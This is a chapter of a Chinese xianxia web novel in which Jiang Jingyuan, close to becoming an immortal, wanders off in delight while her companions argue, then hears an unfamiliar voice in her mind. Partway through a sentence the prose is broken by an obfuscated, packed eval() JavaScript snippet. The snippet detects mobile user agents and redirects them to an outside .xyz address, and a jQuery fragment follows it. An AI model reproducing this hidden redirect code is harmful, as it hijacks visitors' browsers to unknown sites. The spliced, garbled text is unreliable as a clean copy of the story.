许卿临、许仙临、江未济、赵宁郁满脸心累,甚至气不起来,纷纷道:“你走吧,我们这边解决了再去找你。”


    江景鸢“哦”了一声,看了眼江未济又转而看向许卿临,久违露出满脸认真,仔细叮嘱道:“许卿临你先拿别的小法器练练手感,‘山楼’要小心些,但也尽可能早点儿给我,我要用。”


    江未济一愣。


    许卿临只正色点头,答应道:“好。”


    江景鸢犹豫了一瞬还是再度嘱咐道:“也不用太着急,我也不是很急,‘山楼’和别的高阶法器一定要小心。”


    许卿临连连点头,眼睛一闭就是“好好好”地答应。


    江景鸢心中纠结了一阵,旋即想到这又不是她纠结或者再叮嘱能改变的,那她还纠结担忧什么呢?顿时,江景鸢心中豁然开朗,又扬起笑容重新沉浸在高兴快乐中。


    “我真是完美啊……”她不禁感慨。


    江景鸢转眼就轻“欸”了声,对着不知何时又坐回岩石上的赵宁郁说:“你别这样对石头,石头也是很辛苦的。”


    赵宁郁:“……?”


    不等他反应,江景鸢又一个转眼看向江未济,说:“你也是,你踩到花草了。花草的命就不是命吗?!”


    江未济:“???”


    江景鸢再看向许卿临和许仙临。


    许卿临心中骤然生出一股不祥预感,先一步大叫道:“不走地上走哪里?飞上天怎么不是对风不好呢?!你不能厚此薄彼啊!”


    江景鸢脸上浮现沉思之色,思考了一瞬,对着她郑重地说道:“那我再想想。”


    许卿临松了一口气。


    许仙临一脸冷淡,细看之下才能瞧见她一双墨色眼眸中的绝望和无助。


    许仙临:“……”果然是疯了吧。


    江景鸢右手一摊,手里凭空出现一柄红底金纹的伞,她扬起伞遮住上空,高高兴兴转身就走——


    慢悠悠地走,脚步轻快,再没有任何急迫和抗拒。


    她看着周围的景象,满心好奇,甚至颇有闲情逸致地时不时走到山岩或草木边,对着石头草木或是其他聊上一聊:


    “这块石头的颜色怎么不一样?怎么会有这样的颜色。这是石头吗?”


    “是不是从上面掉下来的?”


    “啊这个花……这个花长在这里是不是都见不到阳光啊?在外面好像也不好,风吹雨打也很累。这里!这里的花是在外面的,叶子怎么是这样的,是不是要死?”


    江景鸢撑着伞驻足,眉眼间是实实在在的思考之色,边嘴里喃喃:“我是不是要给它留个伞?”余光瞥见什么,顿时扭头转身追去,“有雀!是不是雀!”


    走近一看,她顿时语气失望:“哦不是。”但下一瞬她脸上带笑。


    忽然余光里黑点飞闪,“我去有虫!!”江景鸢脸色骤变,瞬间起了一身鸡皮疙瘩,抓着伞连连后退。


    她脚下“嗒”的一声,下意识低头看去,顿时又道:“这里有石头,差点儿绊到我了,还好没有绊到我,这是悬崖上的石头还是祭坛的石头?怎么碎得这么惨……”


    也不用人回应,她就又自顾自地看向别的东西笑着喃喃自语。


    撑着金纹红伞的白衣少女一路走,一路要为花草树木遮风挡雨、对岩石土块嘘寒问暖,慢悠悠走向远方……


    许卿临、许仙临、江未济、赵宁郁懵懵地慢慢收回视线,彼此面面相觑。


    好半晌,赵宁郁喉咙间艰难地吞咽一口,表情有些扭曲地说:


    “她……她恐怕是要成为第一个成仙的时候乐疯的人。”


    许卿临、许仙临、江未济满脸赞同,慢慢地重重点了点头。


    “你们说,她这样真的还能成仙吗?”许仙临顿了一下,罕见地出声询问道。


    众人沉默。


    从前做事会深思熟虑的江景鸢他们自然不担心,只是现在这个……疯疯傻傻的江景鸢……


    他们哪儿敢放心啊?!


    “不管了!”许卿临说,“反正你们也得先活下来才有的说!”


    许仙临、江未济、赵宁郁一想也是,淡定点头。


    而后,他们就见许卿临脸上一点点扬起熟悉的得意笑容,心中齐刷刷生出不祥预感。


    许卿临大手一挥,大笑着说:


    “我才是江景鸢最信任的人,以后你们都听我的!哈哈哈!!”


    许仙临、江未济、赵宁郁:“?”


    不等他们开口,许卿临盯着他们说:


    “你们可要想好了。我才是跟在江景鸢身边最久的人、我才是江景鸢最信任的人,咱们要是有什么不愉快闹到了江景鸢面前,你们说江景鸢会偏向谁?”


    许卿临哈哈大笑:


    “你们也不想我去江景鸢面前告上一状吧?你们也不想被江景鸢讨厌然后丢弃掉吧?我劝你们以后都对我恭敬一点儿、都听我的!哈哈哈哈——”


    江未济、赵宁郁瞳孔骤缩:“!!!”


    这话他们熟啊,太熟悉了!


    他们从前暗戳戳听过一遍又一遍,却从未想过这同样意思的话有一天会是对着他们的!


    江未济、赵宁郁齐齐两眼一黑。


    许仙临:“……”她就知道会这样。


    许仙临面无表情呵呵道:“江景鸢肯定是跟着你学坏的。”


    许卿临:“?”


    …………


    “咳咳……”


    江景鸢走出东陵,一顿脚,抬手揉了揉自己的两边嘴角和脸颊,再放下手时,她脸上已然恢复了常年的一片平静淡然。


    她神色淡淡地撑着伞接着往外走,眼神淡淡地看着前方的天地万物,心中却仍然在好奇地自言自语——


    虽说她都是要成仙了,大可以旁若无人一点儿,但到底是当一个在人潮中随波逐流的渺小之人习惯了,这一时半会再多的喜悦也难以让她顶着一脸傻笑走一路回帝渠城。


    “你明明是有足够能量的准仙,想笑为什么不笑呢?”


    “根本没有人能伤到你啊。”


    江景鸢听着仔细沉吟,好像也的确如此。


    半晌,她睁大眼睛,猛地这反应过来自己好像听到了什么不属于自己的声音。


    好像是,在右上方响起的,轻柔舒缓的,不属于自己的声音。


    不知何时,那道声音衔接在了她的思绪之后,让她自己都没有立即察觉到……


    江景鸢手上猛地攥紧伞柄,脚下一点点变得迟疑缓慢、却仍然在向前走没有停下。


    “这是我的念头吗?”江景鸢眉眼间不自觉浮现起深思之色,心想,“它在做什么?它,在回答我?”


    江景鸢怔怔,她自己都觉得很是奇怪,她一向不是很心大的人,可现在自己的右上空忽然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302267|160054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    响起声音,她心中却没有生出太多的警惕和惶恐。


    ——就好像那个声音真的是自己的念头,才让自己熟悉又不自觉忽略。


    可……那声音不是自己的啊!


    江景鸢仔细感知着,自己心里自言自语时习惯是自己的声音是在浮在中心表面的,可那道熟悉又陌生的声音却……好像是,在头顶右上方偏后。


    江景鸢抿抿嘴,在心里试探着问道:“你是谁?”


    没有回答。


    江景鸢顿了顿,心说:“难道真的只是我的念头?”随即心中又升起浅薄的慌张,“总不能是招惹了什么东西吧,那我是不是要找人看一……”


    “没事。”


    “没事,嗯,应该是没事的。”江景鸢心想,“准仙的能量庞大,只要我自己不出差错,基本不可能会有什么东西趁虚而入。”


    一顿,她又犹疑地想:“会不会,是术汝和‘上天’?没这么小心眼跟我一个凡人计较吧?”


    “只要你不动摇,就不会有事。”


    江景鸢赞同地暗自点头。


    虽说她没有成仙,但站到了过那阶梯之上的位置,有些东西就跟某种传承一般传承给了她,平日里想都没想过,遇到了类似的状况就能瞬间记起来或本能地知道该如何做。


    想明白,江景鸢顿时放心了,大步往前走。


    走出去二、三十步,江景鸢又不自觉身形僵硬地缓缓慢了步子,心中颤声:“刚才,是不是……”


    “是。”


    江景鸢几乎要两眼一黑。


    但她下一瞬就立马艰难地维持住两眼不一黑,停住脚步,整个人笼罩在金纹红伞的灰蒙阴影里。


    她吐出一口气,深吸一口气,屏住呼吸,又缓缓呼出,清空脑子、稳住心态,整个人好像下沉进空荡荡黑暗、再也感知不到外界,她无波无澜地在心中缓缓问道:


    “你是谁?你是谁?你是谁?”


    极缓极缓,哪怕是心中也没有丝毫情绪波澜,平静几乎平淡要睡着般地询问着。


    “你,你的引路人,你的引路神,你的本质。”


    江景鸢听到了,猛地一个激灵从黑暗中跌了出来,回神,睁眼是伞外近白的明亮阳光。


    她眼眸略微失神地盯着伞外的天地山峦景象,想:“我听到了……”


    那声音,好像有又好像无,好似清晰又好似虚幻——


    这让她想到了自己在长阶尽头的白玉门前,听到的声音。


    “是‘上天’?”江景鸢一顿,随即否认,“这感觉不像。而且就算是那个时候,我也只是听到了那声音说自己是上天,不能肯定那声音和后来‘上天’发出的实质声音是同一个。”


    “太奇怪了……”她没忍住又念了一遍。


    哪怕是直到此时此刻,她心中竟然也没有生出太多惊慌和恐惧,反倒隐隐感觉到了一种像是从上向下俯视溪水潺潺流动般的平淡。


    这种平淡,是什么都没有的平淡。


    静静淡淡俯瞰溪水流动,不会想要出手拨动水流让水流动更快,也不会想要搬来巨石阻碍水流。


    江景鸢蓦然回想起那声音的回答,久久愣怔,只觉得自己好像明白又好像没有明白。


    你,你的引路人,你的引路神,你的本质。


    ——这是什么意思?


    那声音,到底是不是她自己啊?